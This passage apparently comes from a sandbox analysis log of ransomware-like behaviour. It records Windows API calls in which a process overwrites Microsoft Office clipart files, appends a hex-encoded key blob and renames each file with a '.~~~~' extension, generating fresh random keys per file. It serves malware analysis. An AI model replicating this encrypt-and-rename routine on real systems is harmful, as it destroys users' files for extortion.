	[0089.445] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffec74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.445] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x138c, lpOverlapped=0x0) returned 1
	[0089.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.446] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.446] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.446] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.446] CloseHandle (hObject=0x12c) returned 1
	[0089.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.~~~~")) returned 1
	[0089.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.448] GetLastError () returned 0x0
	[0089.448] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.449] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.449] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.449] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20943924781) returned 1
	[0089.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f181e30, dwHighDateTime=0x1d60e1e)) 
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac468
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0089.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cae0
	[0089.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.450] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.450] GetLastError () returned 0x0
	[0089.450] GetLastError () returned 0x0
	[0089.450] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.450] GetLastError () returned 0x0
	[0089.450] GetLastError () returned 0x0
	[0089.453] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff4484, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.453] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbb7c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xbb7c, lpOverlapped=0x0) returned 1
	[0089.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.456] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.456] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.456] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.456] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.456] CloseHandle (hObject=0x12c) returned 1
	[0089.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.457] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.~~~~")) returned 1
	[0089.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.457] GetLastError () returned 0x0
	[0089.458] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.459] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.459] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.459] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20944903188) returned 1
	[0089.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f1a7f90, dwHighDateTime=0x1d60e1e)) 
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4a0
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d460
	[0089.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.459] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.460] GetLastError () returned 0x0
	[0089.460] GetLastError () returned 0x0
	[0089.460] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.460] GetLastError () returned 0x0
	[0089.460] GetLastError () returned 0x0
	[0089.464] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff62f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.464] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9d0e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x9d0e, lpOverlapped=0x0) returned 1
	[0089.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.465] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.465] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.465] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.465] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.465] CloseHandle (hObject=0x12c) returned 1
	[0089.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.~~~~")) returned 1
	[0089.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.466] GetLastError () returned 0x0
	[0089.467] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.468] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.468] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20945824494) returned 1
	[0089.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f1a7f90, dwHighDateTime=0x1d60e1e)) 
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4d8
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4d8 | out: hHeap=0x300000) returned 1
	[0089.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d4f8
	[0089.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.469] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.469] GetLastError () returned 0x0
	[0089.469] GetLastError () returned 0x0
	[0089.469] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.469] GetLastError () returned 0x0
	[0089.469] GetLastError () returned 0x0
	[0089.472] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff4556, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.472] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbaaa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xbaaa, lpOverlapped=0x0) returned 1
	[0089.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.473] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.473] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.473] CloseHandle (hObject=0x12c) returned 1
	[0089.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.~~~~")) returned 1
	[0089.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.474] GetLastError () returned 0x0
	[0089.475] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.476] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.476] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.476] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20946595910) returned 1
	[0089.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f1ce0f0, dwHighDateTime=0x1d60e1e)) 
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac510
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac510 | out: hHeap=0x300000) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d590
	[0089.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.476] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.477] GetLastError () returned 0x0
	[0089.477] GetLastError () returned 0x0
	[0089.477] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.477] GetLastError () returned 0x0
	[0089.477] GetLastError () returned 0x0
	[0089.763] SetFilePointerEx (hFile=0x12c, liDistanceToMove=0xffffc734, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0) 
	[0089.763] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffc734, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.763] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x38cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x38cc, lpOverlapped=0x0) returned 1
	[0089.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.764] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.764] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.764] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.764] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.764] CloseHandle (hObject=0x12c) returned 1
	[0089.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.~~~~")) returned 1
	[0089.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.766] GetLastError () returned 0x0
	[0089.767] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.768] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.768] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20975781108) returned 1
	[0089.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f47b9b0, dwHighDateTime=0x1d60e1e)) 
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f8d0
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f8d0 | out: hHeap=0x300000) returned 1
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
